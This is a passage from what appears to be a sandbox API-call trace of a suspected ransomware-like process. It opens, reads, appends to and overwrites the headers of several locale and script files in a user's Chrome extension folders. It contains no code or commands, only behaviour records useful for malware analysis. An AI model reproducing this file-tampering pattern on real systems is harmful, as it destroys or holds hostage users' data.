"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xf9 [0063.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.230] ReleaseMutex (hMutex=0x128) returned 1 [0063.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.230] ReadFile (in: hFile=0x1b0, lpBuffer=0x1ddfd78, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddfd78*, lpNumberOfBytesRead=0x340f2bc*=0xf9, lpOverlapped=0x0) returned 1 [0063.231] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.231] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x681, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x681, lpOverlapped=0x0) returned 1 [0063.231] CloseHandle (hObject=0x1b0) returned 1 [0063.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xf2 [0063.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.232] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.232] ReleaseMutex (hMutex=0x128) returned 1 [0063.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_app_redirect.js", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_app_redirect.js", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cast_app_redirect.js", lpUsedDefaultChar=0x0) returned 20 [0063.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xf2, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x340f2bc*=0xf2, lpOverlapped=0x0) returned 1 [0063.233] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0063.233] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67a, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x67a, lpOverlapped=0x0) returned 1 [0063.233] CloseHandle (hObject=0x1b0) returned 1 [0063.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x38a8 [0063.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.234] ReleaseMutex (hMutex=0x128) returned 1 [0063.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="feedback.html", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="feedback.html", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feedback.html", lpUsedDefaultChar=0x0) returned 13 [0063.234] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x28a8 [0063.848] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.849] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x28a8 [0063.849] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.849] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.849] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.849] CloseHandle (hObject=0x1b0) returned 1 [0063.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4b63 [0063.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.851] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.851] ReleaseMutex (hMutex=0x128) returned 1 [0063.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3b63 [0063.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.853] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3b63 [0063.853] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.853] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.854] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.854] CloseHandle (hObject=0x1b0) returned 1 [0063.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x46f5 [0063.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.855] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.855] ReleaseMutex (hMutex=0x128) returned 1 [0063.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.855] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.856] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x36f5 [0063.856] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.857] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x36f5 [0063.857] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.857] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.857] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.857] CloseHandle (hObject=0x1b0) returned 1 [0063.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.858] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.858] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5074 [0063.858] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.858] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.858] ReleaseMutex (hMutex=0x128) returned 1 [0063.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.858] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4074 [0063.860] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.860] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4074 [0063.860] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.860] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.860] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.861] CloseHandle (hObject=0x1b0) returned 1 [0063.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3f45 [0063.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.861] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.862] ReleaseMutex (hMutex=0x128) returned 1 [0063.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.862] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.864] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2f45 [0063.864] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.865] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2f45 [0063.865] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.865] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.865] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0063.865] CloseHandle (hObject=0x1b0) returned 1 [0063.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0063.866] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.866] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3e96 [0063.866] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0063.866] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0063.866] ReleaseMutex (hMutex=0x128) returned 1 [0063.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0063.867] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.868] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2e96 [0063.868] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0063.868] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2e96 [0063.868] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0063.869] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0063.869] WriteFile (in: hFile=0x1b0, 